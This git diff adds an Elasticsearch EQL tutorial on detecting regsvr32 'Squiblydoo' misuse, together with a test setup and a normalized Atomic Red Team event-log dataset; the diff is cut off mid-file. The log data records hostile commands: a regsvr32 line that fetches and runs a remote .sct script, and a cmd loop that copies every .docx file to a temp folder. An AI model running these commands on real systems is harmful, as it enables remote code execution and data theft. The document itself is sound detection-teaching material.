diff --git a/docs/build.gradle b/docs/build.gradle index 9c13e00daf9..fd0ed1b6050 100644 --- a/docs/build.gradle +++ b/docs/build.gradle @@ -343,7 +343,7 @@ buildRestTests.setups['user_hits'] = ''' {"timestamp": "2019-01-03T13:00:00", "user_id": "4"}''' -// Dummy bank account data used by getting-started.asciidoc +// Fake bank account data used by getting-started.asciidoc buildRestTests.setups['bank'] = ''' - do: indices.create: @@ -1446,3 +1446,36 @@ buildRestTests.setups['setup-repository'] = ''' settings: location: buildDir/cluster/shared/repo ''' + +// Fake sec logs data used by EQL search +buildRestTests.setups['atomic_red_regsvr32'] = ''' + - do: + indices.create: + index: my-index-000001 + body: + settings: + number_of_shards: 5 + number_of_routing_shards: 5 + mappings: + properties: + process: + properties: + "command_line": + type: keyword + - do: + bulk: + index: my-index-000001 + refresh: true + body: | +#atomic_red_data# +''' +/* Load the actual events only if we're going to use them. */ +File atomicRedRegsvr32File = new File("$projectDir/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json") +buildRestTests.inputs.file(atomicRedRegsvr32File) +buildRestTests.doFirst { + String events = atomicRedRegsvr32File.getText('UTF-8') + // Indent like a yaml test needs + events = events.replaceAll('(?m)^', ' ') + buildRestTests.setups['atomic_red_regsvr32'] = + buildRestTests.setups['atomic_red_regsvr32'].replace('#atomic_red_data#', events) +} diff --git a/docs/reference/eql/detect-threats-with-eql.asciidoc b/docs/reference/eql/detect-threats-with-eql.asciidoc new file mode 100644 index 00000000000..527040a8bcf --- /dev/null +++ b/docs/reference/eql/detect-threats-with-eql.asciidoc @@ -0,0 +1,444 @@ +[role="xpack"] +[testenv="basic"] +[[eql-ex-threat-detection]] +== Example: Detect threats with EQL + +experimental::[] + +This example tutorial shows you how you can use EQL to detect security threats +and other suspicious behavior. + +In the scenario, you're tasked with detecting +https://attack.mitre.org/techniques/T1218/010/[`regsvr32` misuse] in Windows event +logs. `regsvr32` misuse is a known adversary technique documented in the +https://attack.mitre.org[MITRE ATT&CK®] knowledge base. + +[discrete] +[[eql-ex-threat-detection-setup]] +=== Setup + +This tutorial uses a test dataset for `regsvr32` misuse from +https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has +been normalized and mapped to use fields from the {ecs-ref}[Elastic Common +Schema (ECS)], including the `@timestamp` and `event.category` fields. The +dataset includes events that imitate behaviors related to `regsvr32` misuse, as +documented by MITRE ATT&CK®. + +To get started, download and index the dataset: + +. Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset. + +. Index the data into `my-index-000001` with the following <> request: ++ +[source,sh] +---- +curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json" +---- +// NOTCONSOLE + +. Use the <> to verify the data was successfully +indexed. ++ +[source,console] +---- +GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count +---- +// TEST[setup:atomic_red_regsvr32] ++ +The API response should show a `docs.count` value of `150`, indicating 150 +documents were indexed. ++ +[source,txt] +---- +health status index docs.count +yellow open my-index-000001 150 +---- +// TESTRESPONSE[non_json] + +[discrete] +[[eql-ex-get-a-count-of-regsvr32-events]] +=== Get a count of `regsvr32` events + +Since you're looking for `regsvr32` misuse, start by getting a count of any +events associated with a `regsvr32.exe` process. + +The following <> request uses an EQL query to +retrieve a count of events with a `process.name` of `regsvr32.exe`. The query +starts with the <>, +meaning the query can match events of any <>. + +[source,console] +---- +GET /my-index-000001/_eql/search?filter_path=-hits.events <1> +{ + "query": """ + any where process.name == "regsvr32.exe" <2> + """, + "size": 200 <3> +} +---- +// TEST[setup:atomic_red_regsvr32] + +<1> Uses the `?filter_path=-hits.events` query parameter to exclude the +`hits.events` property from the response. The `hits.events` property contains +the document source for any matching events. This request is intended to +retrieve a count of events only. +<2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`. +<3> Returns up to 200 events or sequences matching the EQL query. + +The request returns the following response, indicating that 143 events match the +query. + +[source,console-result] +---- +{ + "is_partial": false, + "is_running": false, + "took": 60, + "timed_out": false, + "hits": { + "total": { + "value": 143, + "relation": "eq" + } + } +} +---- +// TESTRESPONSE[s/"took": 60/"took": $body.took/] + +[discrete] +[[eql-ex-check-for-command-line-artifacts]] +=== Check for command line artifacts + +Based on your previous query, you know `regsvr32` processes were associated with +143 events. But how was `regsvr32.exe` first called? And who called it? + +`regsvr32` is a command-line utility so it may help to narrow your results to +processes where the command line was used. + +Update the previous EQL query as follows: + +* Change the `any` keyword to `process`. This limits matches to events with an +`event.category` of `process`. +* Add the `and process.command_line != null` condition to match only +events with a command line value. + +You'll also need to remove the `filter_path=-hits.events` query parameter. This +lets you retrieve the document source for any matching events. + +[source,console] +---- +GET /my-index-000001/_eql/search +{ + "query": """ + process where process.name == "regsvr32.exe" and process.command_line != null + """ +} +---- +// TEST[setup:atomic_red_regsvr32] + +The query matches one process event. The event has an `event.type` of +`creation`, indicating the start of a `regsvr32.exe` process. + +Based on the `process.command_line` value, `regsvr32.exe` used `scrobj.dll` to +register a script, `RegSvr32.sct`. This fits the behavior of a +https://attack.mitre.org/techniques/T1218/010/["Squiblydoo" attack], a known +variant of `regsvr32` misuse. + +The query also retrieved other valuable information about how the `regsvr32.exe` +process started, such as the `@timestamp`, the associated `user.id`, and the +`process.parent.name`. + +[source,console-result] +---- +{ + "is_partial": false, + "is_running": false, + "took": 21, + "timed_out": false, + "hits": { + "total": { + "value": 1, + "relation": "eq" + }, + "events": [ + { + "_index": "my-index-000001", + "_type": "_doc", + "_id": "gl5MJXMBMk1dGnErnBW8", + "_score": null, + "_source": { + "process": { + "parent": { + "name": "cmd.exe", + "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", + "executable": "C:\\Windows\\System32\\cmd.exe" + }, + "name": "regsvr32.exe", + "pid": 2012, + "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", + "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", + "executable": "C:\\Windows\\System32\\regsvr32.exe", + "ppid": 2652 + }, + "logon_id": 217055, + "@timestamp": 131883573237130000, + "event": { + "category": "process", + "type": "creation" + }, + "user": { + "full_name": "bob", + "domain": "ART-DESKTOP", + "id": "ART-DESKTOP\\bob" + } + } + } + ] + } +} +---- +// TESTRESPONSE[s/"took": 21/"took": $body.took/] +// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/] + +[discrete] +[[eql-ex-check-for-malicious-script-loads]] +=== Check for malicious script loads + +You now know that a `regsvr32.exe` process was used to register a potentially +malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the +`scrob.dll` library. + +Modify the previous EQL query as follows: + +* Change the `process` keyword to `library`. +* Replace the `process.command_line != null` condition with +`dll.name == "scrobj.dll`. + +[source,console] +---- +GET /my-index-000001/_eql/search +{ + "query": """ + library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll" + """ +} +---- +// TEST[setup:atomic_red_regsvr32] + +The query matches an event, confirming `scrobj.dll` was later loaded by +`regsvr32.exe`. + +[source,console-result] +---- +{ + "is_partial": false, + "is_running": false, + "took": 5, + "timed_out": false, + "hits": { + "total": { + "value": 1, + "relation": "eq" + }, + "events": [ + { + "_index": "my-index-000001", + "_type": "_doc", + "_id": "ol5MJXMBMk1dGnErnBW8", + "_score": null, + "_source": { + "process": { + "name": "regsvr32.exe", + "pid": 2012, + "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", + "executable": "C:\\Windows\\System32\\regsvr32.exe" + }, + "@timestamp": 131883573237450016, + "dll": { + "path": "C:\\Windows\\System32\\scrobj.dll", + "name": "scrobj.dll" + }, + "event": { + "category": "library" + } + } + } + ] + } +} +---- +// TESTRESPONSE[s/"took": 5/"took": $body.took/] +// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/] + +[discrete] +[[eql-ex-detemine-likelihood-of-sucess]] +=== Determine likelihood of success + +In many cases, malicious scripts are used to connect to remote servers or +download other files. If this occurred, the attack might have succeeded. + +Use an <> to check for the following series of +events, in order: + +. A `regsvr32.exe` process, which could have been used to register malicious +scripts as `scrobj.dll` +. A load of the `scrobj.dll` library by the same process +. Any network event by the same process, which could indicate the download of a +remote file + +To match, each event in the sequence must share the same process ID, recorded in +the `process.pid` field. + +Based on the command line value seen in the previous result, you can expect to +find a match. However, the sequence query isn't designed for that specific +command. Instead, it looks for a pattern of suspicious behavior while still +being generic enough to detect similar threats in the future. + +[source,console] +---- +GET /my-index-000001/_eql/search +{ + "query": """ + sequence by process.pid + [process where process.name == 'regsvr32.exe'] + [library where dll.name == 'scrobj.dll'] + [network where true] + """ +} +---- +// TEST[setup:atomic_red_regsvr32] + +The query matches a sequence, indicating the attack likely succeeded. + +[source,console-result] +---- +{ + "is_partial": false, + "is_running": false, + "took": 25, + "timed_out": false, + "hits": { + "total": { + "value": 1, + "relation": "eq" + }, + "sequences": [ + { + "join_keys": [ + "2012" + ], + "events": [ + { + "_index": "my-index-000001", + "_type": "_doc", + "_id": "gl5MJXMBMk1dGnErnBW8", + "_version": 1, + "_seq_no": 3, + "_primary_term": 1, + "_score": null, + "_source": { + "process": { + "parent": { + "name": "cmd.exe", + "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", + "executable": "C:\\Windows\\System32\\cmd.exe" + }, + "name": "regsvr32.exe", + "pid": 2012, + "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", + "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", + "executable": "C:\\Windows\\System32\\regsvr32.exe", + "ppid": 2652 + }, + "logon_id": 217055, + "@timestamp": 131883573237130000, + "event": { + "category": "process", + "type": "creation" + }, + "user": { + "full_name": "bob", + "domain": "ART-DESKTOP", + "id": "ART-DESKTOP\\bob" + } + } + }, + { + "_index": "my-index-000001", + "_type": "_doc", + "_id": "ol5MJXMBMk1dGnErnBW8", + "_version": 1, + "_seq_no": 5, + "_primary_term": 1, + "_score": null, + "_source": { + "process": { + "name": "regsvr32.exe", + "pid": 2012, + "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", + "executable": "C:\\Windows\\System32\\regsvr32.exe" + }, + "@timestamp": 131883573237450016, + "dll": { + "path": "C:\\Windows\\System32\\scrobj.dll", + "name": "scrobj.dll" + }, + "event": { + "category": "library" + } + } + }, + { + "_index": "my-index-000001", + "_type": "_doc", + "_id": "EF5MJXMBMk1dGnErnBa9", + "_version": 1, + "_seq_no": 24, + "_primary_term": 1, + "_score": null, + "_source": { + "process": { + "name": "regsvr32.exe", + "pid": 2012, + "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", + "executable": "C:\\Windows\\System32\\regsvr32.exe" + }, + "@timestamp": 131883573238680000, + "destination": { + "address": "151.101.48.133", + "port": "443" + }, + "source": { + "address": "192.168.162.134", + "port": "50505" + }, + "event": { + "category": "network" + }, + "user": { + "full_name": "bob", + "domain": "ART-DESKTOP", + "id": "ART-DESKTOP\\bob" + }, + "network": { + "protocol": "tcp", + "direction": "outbound" + } + } + } + ] + } + ] + } +} +---- +// TESTRESPONSE[s/"took": 25/"took": $body.took/] +// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/] +// TESTRESPONSE[s/"_seq_no": 3/"_seq_no": $body.hits.sequences.0.events.0._seq_no/] +// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/] +// TESTRESPONSE[s/"_seq_no": 5/"_seq_no": $body.hits.sequences.0.events.1._seq_no/] +// TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/] +// TESTRESPONSE[s/"_seq_no": 24/"_seq_no": $body.hits.sequences.0.events.2._seq_no/] diff --git a/docs/reference/eql/eql.asciidoc b/docs/reference/eql/eql.asciidoc index dc61dadc066..b2c5efa734e 100644 --- a/docs/reference/eql/eql.asciidoc +++ b/docs/reference/eql/eql.asciidoc @@ -721,4 +721,5 @@ You can also manually delete saved synchronous searches using the include::syntax.asciidoc[] include::functions.asciidoc[] -include::pipes.asciidoc[] \ No newline at end of file +include::pipes.asciidoc[] +include::detect-threats-with-eql.asciidoc[] \ No newline at end of file diff --git a/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json b/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json new file mode 100644 index 00000000000..ecd81b6c4df --- /dev/null +++ b/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json @@ -0,0 +1,300 @@ +{"index":{}} +{ "process": { "parent": { "name": "powershell.exe", "entity_id": "{42FC7E13-C11D-5C05-0000-0010C6E90401}", "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" }, "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "command_line": "\"C:\\WINDOWS\\system32\\cmd.exe\" /c \"for /R c: %%f in (*.docx) do copy %%f c:\\temp\\\"", "executable": "C:\\Windows\\System32\\cmd.exe", "ppid": 7036 }, "logon_id": 217055, "@timestamp": 131883571822010000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } +{"index":{}} +{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\cmd.exe", "name": "cmd.exe" }, "@timestamp": 131883571821990000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883571821990000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "cmd.exe", "pid": 2012, "entity_id": "{42FC7E13-CB3E-5C05-0000-0010A0125101}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "@timestamp": 131883571822140000, "event": { "category": "process", "type": "terminate" } } +{"index":{}} +{ "process": { "parent": { "name": "cmd.exe", "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}", "executable": "C:\\Windows\\System32\\cmd.exe" }, "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll", "executable": "C:\\Windows\\System32\\regsvr32.exe", "ppid": 2652 }, "logon_id": 217055, "@timestamp": 131883573237130000, "event": { "category": "process", "type": "creation" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } } +{"index":{}} +{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\regsvr32.exe", "name": "regsvr32.exe" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntdll.dll", "name": "ntdll.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\kernel32.dll", "name": "kernel32.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\KernelBase.dll", "name": "KernelBase.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\apphelp.dll", "name": "apphelp.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\AcLayers.dll", "name": "AcLayers.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\msvcrt.dll", "name": "msvcrt.dll" }, "@timestamp": 131883573237140000, "event": { "category": "library" } } +{"index":{}} +{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": 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